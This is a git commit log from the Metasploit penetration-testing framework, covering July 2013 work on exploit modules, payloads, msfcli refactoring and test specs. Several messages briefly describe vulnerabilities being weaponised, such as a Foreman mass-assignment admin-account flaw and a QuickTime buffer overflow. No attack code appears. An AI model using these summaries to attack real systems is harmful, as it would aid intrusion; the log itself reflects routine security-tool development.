sinn3r 8f94e9a362 Forget about it 2013-07-29 12:14:14 -05:00
jvazquez-r7 455569aee8 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-29 12:10:12 -05:00
jvazquez-r7 3a05993f16 Make msftidy happy and warn user about long times 2013-07-29 11:45:30 -05:00
jvazquez-r7 0851974408 Land #2162, @Meatballs1's exploit for ms13-005 2013-07-29 11:43:31 -05:00
sinn3r 434ffa143e Make sure we don't end up loading aux and exploits together 2013-07-29 11:33:27 -05:00
sinn3r 701cde010b Init all payloads if not set when module is an exploit 2013-07-29 11:25:41 -05:00
Meatballs 5c7f33a1da Merge remote-tracking branch 'origin/ms13-005' into ms13-005 2013-07-29 17:03:30 +01:00
Meatballs 9ad99ed4ca I am a git genius 2013-07-29 17:01:57 +01:00
sinn3r 312c7f0564 Use full path to check module class instead 2013-07-29 11:01:13 -05:00
Meatballs 0329caec5f Revert "Fixup psh datastore"
This reverts commit aa64f5cd58.
2013-07-29 17:00:28 +01:00
Tod Beardsley 37312f2aa9 Module, singular 2013-07-29 10:58:36 -05:00
Tod Beardsley 11e9cca855 Spelling and description touch ups. 2013-07-29 10:57:19 -05:00
sinn3r c5edd554b0 refname doesn't show module type, so use arg 2013-07-29 10:56:04 -05:00
sinn3r ed7dd8dbce Ensure consistent module naming style 2013-07-29 10:51:19 -05:00
Meatballs 09a49ebc18 Revert datastore changes 2013-07-29 16:35:47 +01:00
sinn3r 97adb2a49e Move get_stdout inside 'describe Msfcli' statement 2013-07-28 23:37:33 -05:00
sinn3r f274a9605a Change path for msfcli rspec, and use spec_helper 2013-07-28 23:33:46 -05:00
sinn3r 1a85262afd Refactor msfcli, delete the bash test script, add rspec for msfcli 2013-07-28 19:51:44 -05:00
Meatballs aa64f5cd58 Fixup psh datastore 2013-07-28 21:53:11 +01:00
joernchen of Phenoelit ac28dbe734 Minor typo fix 2013-07-28 19:44:44 +02:00
sinn3r a0decf502f Refactor msfcli 2013-07-28 12:40:50 -05:00
Dhiru Kholia 2de0a3e0f9 Add information gathering module for eCryptfs 2013-07-28 23:09:42 +05:30
jvazquez-r7 a1d9ed300e Add module for ZDI-13-184 2013-07-28 09:57:41 -05:00
joernchen of Phenoelit 8cdd163150 Module polishing, thanks @todb-r7.
Two test-apps (Rails 3/4) are available for this module. Ping me if you want to use them.
2013-07-28 13:52:27 +02:00
jvazquez-r7 f4e35b62ac Add module for ZDI-13-185 2013-07-27 12:12:06 -05:00
jvazquez-r7 fab9d33092 Fix disclosure date 2013-07-27 12:10:21 -05:00
jvazquez-r7 ac7bb1b07f Add module for ZDI-13-188 2013-07-27 03:25:39 -05:00
Meatballs 234e49d982 Add type technique 2013-07-26 23:33:16 +01:00
Meatballs1 cdb0e68d08 Merge pull request #6 from jvazquez-r7/ms13_005_hwnd_broadcast
Modify the check for Integrity Level and Allow dropt o fs
2013-07-26 13:19:25 -07:00
jvazquez-r7 805a9675a7 Modify the check for Integrity Level and Allow dropt o fs 2013-07-26 14:54:50 -05:00
joernchen of Phenoelit 7f3eccd644 Rails 3/4 RCE w/ token 2013-07-26 20:23:18 +02:00
Meatballs 12a58c730a Small fix 2013-07-26 10:15:47 +01:00
Meatballs 6a13ed0371 Missing include 2013-07-26 03:18:17 +01:00
Meatballs 72b8891ba3 Check for low integrity 2013-07-26 03:16:45 +01:00
Meatballs 030640d5bc back to cmd 2013-07-26 03:00:36 +01:00
Meatballs d3f3e5d63e Working with psh download 2013-07-26 02:29:55 +01:00
Meatballs b99ad41a64 Add api constants and tidy 2013-07-26 01:48:39 +01:00
jvazquez-r7 4a0b33241f Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-25 18:41:50 -05:00
sinn3r 7b7603a5e7 Land #2104 - reverse_https_proxy 2013-07-25 17:26:56 -05:00
sinn3r 8dae114c7c msftidy happiness 2013-07-25 17:25:36 -05:00
Meatballs 0235e6803d Initial working 2013-07-25 23:24:11 +01:00
jvazquez-r7 33f6f7e8fc Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-25 17:03:45 -05:00
William Vu 27a540e12f Land #1215, creds reuse for AuthBrute modules 2013-07-25 16:54:44 -05:00
danielemartini 38fd8d46f9 Merge pull request #1 from wvu-r7/pr/1215
Tentative fixes for rapid7/metasploit-framework#1215
2013-07-25 14:46:08 -07:00
William Vu dac9ac4a1d Land #2159, spool command nil dereference fix 2013-07-25 15:38:35 -05:00
James Lee a5ca516435 Fix nil deref in spool command
Occurs when no module is currently `use`d
2013-07-25 14:51:39 -05:00
jvazquez-r7 2b3dcaf678 Land #2157, @wvu and @averagesecurityguy patch for OpenVAS XML Reports importing 2013-07-25 12:04:38 -05:00
William Vu 97680304d6 Use index, since it can apparently do regex 2013-07-25 12:00:33 -05:00
jvazquez-r7 5014919198 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-25 09:02:20 -05:00
sinn3r 56367ef69c Update documentation 2013-07-24 19:04:47 -05:00
sinn3r 0fd2c385fb Update documentation 2013-07-24 19:02:10 -05:00
sinn3r e266d1bd0a Add comment about opts 2013-07-24 19:00:58 -05:00
sinn3r a71d7eb372 Update archive.rb to handle whitelist 2013-07-24 18:59:43 -05:00
sinn3r 9ae550c883 Do if [].empty?. Avoid msfcli running as a job 2013-07-24 18:35:06 -05:00
William Vu 0e350a1211 Land #2155, mysql_mof target description update 2013-07-24 18:22:02 -05:00
Sean Verity dff35c0820 Minor update to Target Selection. Refer to comments on #2128. 2013-07-24 19:02:47 -04:00
Sean Verity d478df520f Merge remote-tracking branch 'rapid7/master'
Starting fresh.
2013-07-24 18:31:53 -04:00
sinn3r ed51d284fa Change name, change how data is passed, fix rspec 2013-07-24 17:15:56 -05:00
jvazquez-r7 214f337f58 Fix indentation 2013-07-24 16:55:01 -05:00
jvazquez-r7 f63924d238 Land #2152, @Meatballs1 fix for [SeeRM #7923] 2013-07-24 16:53:27 -05:00
William Vu 93a63081a5 Land #2151, @jvazquez-r7's Struts pwnage 2013-07-24 16:49:06 -05:00
jvazquez-r7 a70b346978 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-24 16:43:39 -05:00
jvazquez-r7 7641aa3e63 Delete stop_service calls 2013-07-24 16:35:15 -05:00
Meatballs c221360cc1 Retab 2013-07-24 22:16:41 +01:00
sinn3r 8e27c2f76f Missing end statement 2013-07-24 14:44:07 -05:00
sinn3r e120ecfba9 msfcli is designed to load only one module (auxiliary or exploit),
so we shouldn't have to load all of them to run this utility. The
overall goal of this PR is to narrow down what modules
(exploit/aux + payload + encoder + nop) you possibly need in order
to shave off loading time. By doing this, on my box this is 5-6
seconds faster than the original one.

I actually tried to avoid making too many changes in the library
(such as Module Manager), because we don't have test cases for them,
and we can't really afford to risk breaking it. I also developed
a test script to actually be able to test msfcli.
2013-07-24 14:40:46 -05:00
William Vu 95b0735695 Land #2150, smb_enumshares SRVSVC null byte fix 2013-07-24 14:08:01 -05:00
jvazquez-r7 e9a4f6d5da Merge branch 'dll_fix' of https://github.com/Meatballs1/metasploit-framework 2013-07-24 14:00:52 -05:00
Rich Lundeen 9d032760ac changed description back 2013-07-24 11:51:06 -07:00
Meatballs edc297756b Tabs 2013-07-24 19:14:11 +01:00
Rich Lundeen e89e2af9dc changed to chomp 2013-07-24 11:09:00 -07:00
Meatballs 4b84b49674 Fix payload corruption 2013-07-24 19:08:02 +01:00
jvazquez-r7 dbad1a5e4c Clean up description 2013-07-24 12:02:33 -05:00
jvazquez-r7 18dbdb828f Land #2133, @Meatballs1's exploit for PSH Web Delivery 2013-07-24 12:01:37 -05:00
Meatballs f79d3f7591 Shorten cmd 2013-07-24 17:48:03 +01:00
jvazquez-r7 47c21dfe85 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-24 11:42:11 -05:00
Meatballs 8103baf21a Update title 2013-07-24 17:29:23 +01:00
Meatballs 18ac83bec1 Final updates and tidy 2013-07-24 17:28:19 +01:00
jvazquez-r7 8dd7a664b4 Give a chance to FileDropper too 2013-07-24 08:57:43 -05:00
jvazquez-r7 04b9e3a3e6 Add module for CVE-2013-2251 2013-07-24 08:52:02 -05:00
Rich Lundeen 3854d08dd9 Fixed smb_enumshares to support dir list in SRVSVC 2013-07-23 21:36:26 -07:00
Tod Beardsley 00630376c3 Revert the default call to firefox
This reverts commit 0928a370f3.

No, no, you guys are right in the comments for #2148. The call to
system is inside the else, but the tabbing made my eyes cross.
Sorry about that. Someday soon, @tabassassin will save us all from these
kinds of screw ups in mental parsing.
2013-07-23 16:13:02 -05:00
William Vu d493346691 Land #2137, fixes and specs for Opt containers 2013-07-23 15:58:09 -05:00
jvazquez-r7 b0c17fdebc Land #2002, @jlee-r7's patch for better handling uri resources 2013-07-23 15:49:21 -05:00
David Maloney 621568bf8f Another Error Type needs caught
Different systems throw a different error
Need to rescue that error too
2013-07-23 15:47:42 -05:00
William Vu 86ab942435 Land #2146, Unix and Windows path normalization 2013-07-23 15:23:41 -05:00
Tod Beardsley 0928a370f3 Adding back default firefox
the default is triggered only outside the case statement, which itself
is totally bizarre. I can't tell if anyone is relying on this behavior
right now, but it's too premature to just remove it out at this point.
2013-07-23 14:43:30 -05:00
Tod Beardsley 5736f65d4e Land #2148, prefer xdg-open over sensible-browser 2013-07-23 14:39:18 -05:00
Tod Beardsley 53c3fd2ce7 Update comment docs on Rex::Compat.open_browser 2013-07-23 14:38:04 -05:00
William Vu adef046c74 Land #2149, another good @todb-r7 English thing 2013-07-23 14:18:16 -05:00
Tod Beardsley 147d432b1d Move from DLink to D-Link 2013-07-23 14:11:16 -05:00
ZeroChaos ce5742461a update open_browser functionality
open_browser didn't support xdg-open or firefox-bin.  xdg-open was made the default as it is the most likely to succeed afaik.

the fallback to firefox was removed because since we check for the existence of firefox is makes no sense to try to run it after we failed to find it.  This will silently fail if no supported browser is found due to suggestions from the msf team:

< Zero_Chaos> more importantly, it would be great if someone told me how to spit out a message to the user
< Zero_Chaos> because I have no clue :-)
<@egypt> Zero_Chaos: it's in rex, so the answer is "don't"
2013-07-23 14:58:16 -04:00
Tod Beardsley bb16683415 Land #2087, @egypt's random ID generator 2013-07-23 13:52:08 -05:00
Rob Fuller 99de6168f7 re-add metsrv.dll 2013-07-23 13:58:29 -04:00
Rob Fuller 394a473bf1 Merge pull request #4 from alexmaloteaux/methttpsproxy
add some features
2013-07-23 10:48:19 -07:00
William Vu 173661c77d Land #2147, msfcli help optimization 2013-07-23 11:10:45 -05:00
sinn3r 0035f2ee64 Speed up msfcli help
If the user only wants to see help, then no point to load things
that will actually never be used by msfcli.  Only rex is needed.
2013-07-22 23:26:44 -05:00
sinn3r 8b0aac2d3c Add another test case for having a trailing slash for unix path
If a trailing path exists in the original input, should keep it.
This test case should verify that.
2013-07-22 23:23:40 -05:00
sinn3r 2be0b84ba8 Not Windows format, Unix. 2013-07-22 22:37:36 -05:00
sinn3r 4ea176b5ee Add another test case 2013-07-22 22:35:19 -05:00
sinn3r 958a4edd73 Keep the trailing slash if the user wishes 2013-07-22 20:46:18 -05:00
sinn3r 359009583f Drop support for UNC path parsing in normalize_win_path
Not really a good idea to try to parse UNC format. Confuses the
purpose of the function.
2013-07-22 20:20:45 -05:00
sinn3r 8656fcf5e0 Update the test description a little better 2013-07-22 19:35:52 -05:00
sinn3r 4b3fce9349 Add functions to normalize Winodws & Unix paths
The purpose of these functions is to be able to join file/dir paths
safely without trailing slashes, basically for the same reason as
normalize_uri.  Some modules are really buggy when merging paths,
so instead of letting them do it, it's better to use these functions.
2013-07-22 19:26:04 -05:00
jvazquez-r7 e828517ed8 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-22 17:10:45 -05:00
William Vu 48666f1466 Land #2145, consistent datastore options 2013-07-22 17:06:36 -05:00
jvazquez-r7 af1bd01b62 Change datastore options names for consistency 2013-07-22 16:57:32 -05:00
William Vu b0c74dbb8b Land #2120, specs for command_dispatcher 2013-07-22 16:33:19 -05:00
lsanchez-r7 03cd3ff4eb adding new lines to the end of files. 2013-07-22 16:26:45 -05:00
Tod Beardsley 6055ae7ba5 Land #2132, adding logging to hostname resolver
Also incidentally updated the description.
2013-07-22 15:19:47 -05:00
Tod Beardsley b4589c3c82 Expanding description 2013-07-22 15:19:30 -05:00
jvazquez-r7 4367a9ae49 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-22 15:09:35 -05:00
jvazquez-r7 70900cfe5e Final cleanup for foreman_openstack_satellite_priv_esc 2013-07-22 14:59:23 -05:00
jvazquez-r7 6346f80ff0 Land #2143, @rcvalle's module for CVE-2013-2113 2013-07-22 14:58:07 -05:00
jvazquez-r7 99a345f8d1 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-22 13:54:26 -05:00
Tod Beardsley 5e55c506cd Land #2140, add CWS as a first-class reference. 2013-07-22 13:50:38 -05:00
Ramon de C Valle b6c9fd4723 Add foreman_openstack_satellite_priv_esc.rb
This module exploits a mass assignment vulnerability in the 'create'
action of 'users' controller of Foreman and Red Hat OpenStack/Satellite
(Foreman 1.2.0-RC1 and earlier) by creating an arbitrary administrator
account.
2013-07-22 15:24:25 -03:00
William Vu 20baf68efb Land #2141, @todb-r7's weekly English thing 2013-07-22 13:18:48 -05:00
Rich Lundeen aa159f12b7 changed options wording 2013-07-22 11:15:22 -07:00
Rich Lundeen 57055ab754 added optional option 2013-07-22 11:13:29 -07:00
Tod Beardsley 164153f1e6 Minor updates to titles and descriptions 2013-07-22 13:04:54 -05:00
jvazquez-r7 77e8250349 Add support for CWE 2013-07-22 12:13:56 -05:00
jvazquez-r7 0fdfe866a7 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-22 12:07:44 -05:00
jvazquez-r7 6158415bd3 Clean CWE reference, will ad in new pr 2013-07-22 12:03:55 -05:00
jvazquez-r7 da4fda6cb1 Land #2110, @rcvalle's exploit for Foreman Ruby Injection 2013-07-22 12:02:43 -05:00
jvazquez-r7 8015938b9a Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-22 11:20:12 -05:00
Ramon de C Valle 9577639b7d Revert "Add support to CWE in module references"
This reverts commit 7a9c228772.
2013-07-22 13:16:42 -03:00
Ramon de C Valle 04e9398ddd Fix CSRF regular expressions as per review 2013-07-22 13:10:56 -03:00
jvazquez-r7 de6e2ef6f4 Final cleanup for dlink_upnp_exec_noauth 2013-07-22 10:53:09 -05:00
jvazquez-r7 c1c72dea38 Land @2127, @m-1-k-3's exploit for DLink UPNP SOAP Injection 2013-07-22 10:52:13 -05:00
Ramon de C Valle 11ef4263a4 Remove call to handler as per review 2013-07-22 12:49:42 -03:00
David Maloney 6976bfd032 Remove pry from gemfile 2013-07-21 15:20:34 -05:00
jvazquez-r7 15b0e39617 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-21 13:47:40 -05:00
jvazquez-r7 3c3a951d7e Land #2138, @wchen-r7's CVE-2013-1017 fileformat exploit 2013-07-21 11:00:34 -05:00
sinn3r d9dad313b0 Land #2129 - Allow "python" format 2013-07-20 20:25:11 -05:00
sinn3r e7e712fa01 EOL fix 2013-07-20 19:54:05 -05:00
sinn3r ab515fb66d Add the file format version of CVE-2013-1017 2013-07-20 19:50:09 -05:00
David Maloney 943dde5c6c OptRegexp specs 2013-07-20 18:44:55 -05:00
David Maloney 2fc397b251 OptRaw specs 2013-07-20 17:57:52 -05:00
David Maloney d66779ba4c OptString specs and better validation 2013-07-20 17:49:03 -05:00
David Maloney d6f2b28708 More opt specs 2013-07-20 17:37:39 -05:00
lsanchez-r7 18200c8490 passing all of my changes into rubymines formatter
this should convert everything over to tabs
fixing a filename error and some white space at the EOL
2013-07-20 17:32:05 -05:00
David Maloney 7c8f7329e9 integrate with egypt's already better specs 2013-07-20 16:46:16 -05:00
sinn3r 757cf18bb4 Land #2135 - Update FF detection 2013-07-20 13:10:14 -05:00
Samuel Huckins 832db57171 Removed requirement for note.data to be present. It wasn't required in
the model or in specs, but was in db.rb, resulting in an error during
certain import scenarios.
2013-07-20 10:27:12 -05:00
Meatballs fe405d2187 Tidyup info 2013-07-19 23:50:59 +01:00
Joe Vennix 92ae90b828 Whitespace fixes. 2013-07-19 17:27:27 -05:00
Meatballs 6fab3f6308 Add powershell cmdline 2013-07-19 23:24:54 +01:00
Joe Vennix 2e838d7be3 Fix minor bugs discovered when testing. 2013-07-19 17:18:39 -05:00
jvazquez-r7 4beea52449 Use instance variables 2013-07-19 14:46:17 -05:00
Meatballs d1fdcfff91 Initial commit 2013-07-19 19:33:55 +01:00
root 6bcdd37223 logged resolve_hostname to db 2013-07-19 11:14:14 -07:00
Ramon de C Valle 6761f95892 Change print_error/ret to fail_with as per review 2013-07-19 12:19:29 -03:00
jgor 015ca6bace Allow python format, as indicated in --help-formats 2013-07-19 09:44:26 -05:00
Sean Verity f16ed32848 Added '2003 R2 SP2' to target selection 2013-07-19 09:57:09 -04:00
m-1-k-3 e93eef4534 fixing server header check 2013-07-19 08:00:02 +02:00
m-1-k-3 f26b60a082 functions and some tweaking 2013-07-19 07:57:27 +02:00
sinn3r 6c59e3073d Land #2124 - VMware vCenter Chargeback Manager Arbitrary File Upload 2013-07-19 00:44:29 -05:00
Joe Vennix 7e2fc147f1 Add updated versions of firefox. 2013-07-18 16:35:57 -05:00
jvazquez-r7 bdfad076b4 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-18 15:43:58 -05:00
jvazquez-r7 cb108a8253 Add module for ZDI-13-147 2013-07-18 15:37:11 -05:00
David Maloney ec82644bd3 mo fixes mo specs
SEERM #7536
SEERM #7537
2013-07-18 15:00:57 -05:00
William Vu 6885ef8aa4 Land #2123, mutiny_frontend_upload code cleanup 2013-07-18 14:38:03 -05:00
William Vu a1e083b050 Land #2122, apple_quicktime_rdrf reference update 2013-07-18 14:33:27 -05:00
jvazquez-r7 a1a6aac229 Delete debug code from mutiny_frontend_upload 2013-07-18 14:03:19 -05:00
jvazquez-r7 efb8591a49 Update apple_quicktime_rdrf references 2013-07-18 13:57:31 -05:00
jvazquez-r7 1a5e0e10a5 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-18 13:53:57 -05:00
sinn3r 9d92b38dc7 Land #2121 - add specs for module search filter 2013-07-18 13:50:26 -05:00
Joe Vennix 67d8c1170b Remove unnecessary whitespace. 2013-07-18 13:43:30 -05:00
Joe Vennix 7b05ac2036 Remove inapplicable comment. 2013-07-18 13:42:55 -05:00
sinn3r a2ea5dd472 Land #2119 - Accept args for osx exec payload 2013-07-18 13:37:48 -05:00
sinn3r b64d0429ac Format fix
Just to make this more pleasing to the eyes
2013-07-18 13:36:31 -05:00
Joe Vennix f8b5f1b284 Adds specs for different ref types. 2013-07-18 13:35:04 -05:00
sinn3r b90e1d54e2 Land #2117 - HP Managed Printing Administration jobAcct Command Exec 2013-07-18 13:21:11 -05:00
sinn3r 280529f885 Make some changes to the description 2013-07-18 13:20:36 -05:00
David Maloney 57dd525714 More optaddressrange specs and fixes
SEERM #7536
2013-07-18 13:03:32 -05:00
lsanchez-r7 49bb484d14 Adding in specs for ui command dispatchers
SEERM #4821
while looking into what it would take to fix bug 4821, I found that there are no specs
for any of the other methods in command dispatcher. I have attempted to add stubs for a
few of the methods and tested a few of the help outputs.
2013-07-18 12:56:21 -05:00
jvazquez-r7 52079c960f Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-18 12:52:42 -05:00
Joe Vennix f4b0ab8184 Adds 141 passing specs to Msf::Module#search_filter.
* tests exclusion functionality, type: matching, port: matching, app: matching,
   platform: matching, author: matching, text: matching, name: matching, and
   path: matching.
[RM #4790]
2013-07-18 12:47:08 -05:00
David Maloney 22e4db04e0 opening specs and fixes for OptAddressRange 2013-07-18 12:44:48 -05:00
Joe Vennix cd2e352971 Kill extra whitespace. 2013-07-18 11:30:54 -05:00
William Vu e51f1fc42f Land #2118, name change for pyoor 2013-07-18 10:57:18 -05:00
sinn3r b94cde1d65 Name change for pyoor 2013-07-18 10:50:25 -05:00
jvazquez-r7 104edd8e93 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-18 10:38:53 -05:00
William Vu c7ffe96f15 Land #2115, module title disambiguation 2013-07-18 10:37:00 -05:00
jvazquez-r7 3780b1b59f Add module for ZDI-11-352 2013-07-18 09:39:55 -05:00
Joe Vennix 766a8d5817 Shellwords! Now you can use exec to get you a perl shell 2013-07-17 21:16:04 -05:00
Joe Vennix 9c1228067c Change to += syntax. 2013-07-17 21:11:24 -05:00
jvazquez-r7 bf023f261a Delete comma 2013-07-17 20:46:03 -05:00
jvazquez-r7 7ee4855345 Fix msftidy and delete duplicate stack adjustment 2013-07-17 20:45:54 -05:00
jvazquez-r7 7598afae4f Land #2113, @wchen-r7's exploit for CVE-2013-1017 2013-07-17 20:44:11 -05:00
Joe Vennix ab088712ba Removes unnecessary copy-to-stack. Fixes arg-order issue.
* Now I simply point to the string in instruction-memory, which saves a few bytes.
2013-07-17 20:27:20 -05:00
David Maloney 27e2469d8e Specs and code changes for OptAddress
handles wierness around Optaddress.
Still need to address isues in optaddressRange

FIXRM #7537
2013-07-17 20:21:24 -05:00
jvazquez-r7 58229ff8b7 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-17 20:18:48 -05:00
Joe Vennix 5ab81e7e37 Convert to readable asm. Adds support for arguments.
* shellcode appears to do an unnecessary copy-to-stack, so will look into
  improving that.
2013-07-17 19:20:47 -05:00
sinn3r 7f7cb4f59a Land #2114 - Fix object detection for '5716599'
[FixRM 7252]
2013-07-17 18:23:17 -05:00
sinn3r 6713fb1609 Fix typos 2013-07-17 18:06:40 -05:00
Tod Beardsley 3ac2ae6098 Disambiguate the module title from existing psexec 2013-07-17 17:11:56 -05:00
Tod Beardsley 72df070b80 Bump version to 4.8.0-dev, -rls is so fleeting 2013-07-17 16:43:24 -05:00
Tod Beardsley 8d1a760b1f Bump version to -rls 2013-07-17 16:42:37 -05:00
James Lee 9d56e58e84 Rely on object detection for '5716599'
[SeeRM #7252]
2013-07-17 15:47:25 -05:00
jvazquez-r7 458ac5f289 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-17 15:02:33 -05:00
sinn3r 9ae7c80b15 Add more targets plus some other corrections 2013-07-17 14:43:41 -05:00
sinn3r c85b994c07 Add CVE-2013-1017: Apple Quicktime Invalid Atom Length BoF
This module exploits a vulnerability found in Apple Quicktime. The
flaw is triggered when Quicktime fails to properly handle the data
length for certain atoms such as 'rdrf' or 'dref' in the Alis record,
which may result a buffer overflow by loading a specially crafted .mov
file, and allows arbitrary code execution under the context of the user.
2013-07-17 13:45:05 -05:00
jvazquez-r7 c7361043ae up to date 2013-07-17 11:47:06 -05:00
Samuel Huckins 5d64bc06ac Uses new MDM version. A few versions were apparently skipped, so the
schema.rb changes include those as well.
2013-07-17 11:46:08 -05:00
jvazquez-r7 11f8b351c0 Merge branch 'nvidia' of https://github.com/Meatballs1/metasploit-framework 2013-07-17 11:44:42 -05:00
William Vu 034e0b67fd Land #2111, variable assignment fix 2013-07-16 16:20:52 -05:00
jvazquez-r7 73fd14a500 Fix [SeeRM #8239] NoMethodError undefined method 2013-07-16 15:59:52 -05:00
Ramon de C Valle 8fd6dd50de Check session and CSRF variables as per review 2013-07-16 14:30:55 -03:00
Ramon de C Valle dc51c8a3a6 Change URIPATH option to TARGETURI as per review 2013-07-16 14:27:47 -03:00
William Vu 54af2929f5 Land #2109, kill stray character 2013-07-16 11:11:06 -05:00
Ramon de C Valle 7a9c228772 Add support to CWE in module references 2013-07-16 12:20:29 -03:00
Joe Vennix 34e732eabd Kill stray character in whitespace gutter. 2013-07-16 10:14:41 -05:00
Ramon de C Valle 3dbe8fab2c Add foreman_openstack_satellite_code_exec.rb
This module exploits a code injection vulnerability in the 'create'
action of 'bookmarks' controller of Foreman and Red Hat
OpenStack/Satellite (Foreman 1.2.0-RC1 and earlier).
2013-07-16 12:07:31 -03:00
Alexandre Maloteaux a5d526d710 remove metsrv.dll 2013-07-15 17:16:21 +01:00
Alexandre Maloteaux e28dd42992 add http authentification and socks 2013-07-15 15:36:58 +01:00
jvazquez-r7 19b11cd6e2 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-15 08:23:38 -05:00
William Vu fdd577598a Land #2095, go_pro fix for Kali 2013-07-15 04:27:56 -05:00
m-1-k-3 f594c4b128 small cleanup 2013-07-15 08:48:18 +02:00
m-1-k-3 393c1b2a99 session stuff 2013-07-15 07:57:30 +02:00
m-1-k-3 a6b48f3082 HTTP GET 2013-07-14 19:02:53 +02:00
m-1-k-3 9f65264af4 make msftidy happy 2013-07-14 15:45:14 +02:00
m-1-k-3 47ca4fd48f session now working 2013-07-14 15:42:41 +02:00
m-1-k-3 9133dbac4a some feedback included and some playing 2013-07-14 14:14:06 +02:00
Alexandre Maloteaux f48c70d468 enable tor and small fix 2013-07-13 17:59:49 +01:00
James Lee 94f8b1d177 Land #2073, psexec_psh 2013-07-12 16:14:17 -05:00
James Lee f81369a10d Don't make promises about AV detection 2013-07-12 16:13:02 -05:00
James Lee 91b748a701 Make it clear where we failed
Even when VERBOSE=false
2013-07-12 15:57:30 -05:00
James Lee bc88732400 Prints don't need to be rescued 2013-07-12 15:56:04 -05:00
corelanc0d3r e8983a21c5 New meterpreter payload reverse_https_proxy 2013-07-12 16:45:16 -04:00
jvazquez-r7 e2f6218104 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-12 08:38:08 -05:00
William Vu e8294b4f02 Add tentative fixes 2013-07-12 07:12:07 -05:00
James Lee 1ac1d322f2 Dup before modifying
Because `remove_resource` modifies @my_resources, we can't call it while
iterating over the actual @my_resources. The following snippet
illustrates why:

```
>> a = [1,2,3,4]; a.each {|elem| a.delete(elem); puts elem }
1
3
=> [2, 4]
```

[See #2002]
2013-07-12 00:57:10 -05:00
sinn3r 529471ed53 Land #2081 - MediaCoder .M3U Buffer Overflow 2013-07-11 23:57:43 -05:00
sinn3r 1341d6ec6b Remove extra commas and try to keep a line in 100 columns 2013-07-11 23:54:54 -05:00
James Lee 38e837dc28 Remove inaccurate comment 2013-07-11 22:48:35 -05:00
jvazquez-r7 d9f212320f Land #2094, @wchen-r7's changes for smb_enumshares 2013-07-11 18:38:19 -05:00
sinn3r 279787d942 Make this error less verbose too 2013-07-11 17:36:11 -05:00
sinn3r 0906345af4 Ah, typo 2013-07-11 16:53:39 -05:00
sinn3r eb1905025d I bet having ip:rport will make more sense 2013-07-11 16:45:52 -05:00
jvazquez-r7 937642762f Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-11 15:20:33 -05:00
g0tmi1k a4d96d37f3 Updated regex 2013-07-11 21:16:02 +01:00
sinn3r 0a9c1bcfff Too verbose by default drives users nuts, go easy on that. 2013-07-11 13:41:22 -05:00
sinn3r 55dbfc9281 shares_info should only run if there's shares found 2013-07-11 13:36:26 -05:00
sinn3r 14b3e6440c Check nil 2013-07-11 13:31:30 -05:00
sinn3r e079f3766b Land #2101 - Corel PDF Fusion Stack Buffer Overflow 2013-07-11 13:21:33 -05:00
sinn3r 1cf65623d6 Small desc update 2013-07-11 13:20:39 -05:00
jvazquez-r7 f7327c2fb0 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-11 12:50:55 -05:00
sinn3r 2858b41b4f Land #2102 - Fix typo
English is hard
2013-07-11 12:49:35 -05:00
sinn3r 46ac394d00 Land #2097 - show subheading for sections 2013-07-11 12:48:33 -05:00
sinn3r 550fd16a62 Ditch all caps message format 2013-07-11 12:47:26 -05:00
jvazquez-r7 80c4f99132 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-11 12:37:16 -05:00
jvazquez-r7 d9107d2bd9 Add module for CVE-2013-3248 2013-07-11 12:30:08 -05:00
William Vu abcf34a2e7 Fix typo 2013-07-11 11:56:24 -05:00
sinn3r 496de1755d Land #2096 - Be able to show advanced options in msfvenom 2013-07-11 11:41:50 -05:00
sinn3r b5d59980d2 Land #2098 - Catch Rex::ArgumentParseError 2013-07-11 11:38:03 -05:00
sinn3r 62413df04f Only catch Rex::ArgumentParseError
Avoid catching all exceptions, that way we don't actually shut up
other possible errors that are actually bugs.
2013-07-11 11:36:21 -05:00
sinn3r ca0880428f Make sure module is awre of USE_SRVSVC_ONLY if that kicks in 2013-07-11 11:08:09 -05:00
sinn3r a6ce629c3c Capture a 0xC00000BB condition, plus some other fixes 2013-07-11 10:52:58 -05:00
g0tmi1k 6f7152a3da msfcli - fixed impcomplete argument parsing 2013-07-11 12:27:57 +01:00
g0tmi1k fe96e0a210 msfcli - show subheading for sections 2013-07-11 12:01:50 +01:00
g0tmi1k 20c5e08988 msfvenom - Added advance options 2013-07-11 11:39:54 +01:00
g0tmi1k ff62a85501 command_dispatcher/core.rb - Made msftidy happy 2013-07-11 10:52:25 +01:00
g0tmi1k b2fe31e30f go_pro - fix start with kali linux 2013-07-11 10:42:26 +01:00
sinn3r 3e229fe236 [SeeRM:#1233] - Upgrade smb_enumshares to show directories & files
[SeeRM:#1233] - This is an upgrade based on ringt's code in PR #2017.
As a pentester, it's useful to obtain additional information such as
device type, access rights, folders, and files, etc when doing a share
enumeration.  I have also enhanced exception handling to avoid shutting
errors up, which is better for debugging purposes.
2013-07-11 00:06:25 -05:00
Tod Beardsley fca732d893 We're an Inc, not an LLC. 2013-07-10 15:56:49 -05:00
William Vu f267c11bc4 Add regex fix 2013-07-10 15:43:16 -05:00
James Lee 85affe4d47 Land #2089, smb last_filename can be nil 2013-07-10 14:18:00 -05:00
jvazquez-r7 b8ce98b896 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-10 14:04:46 -05:00
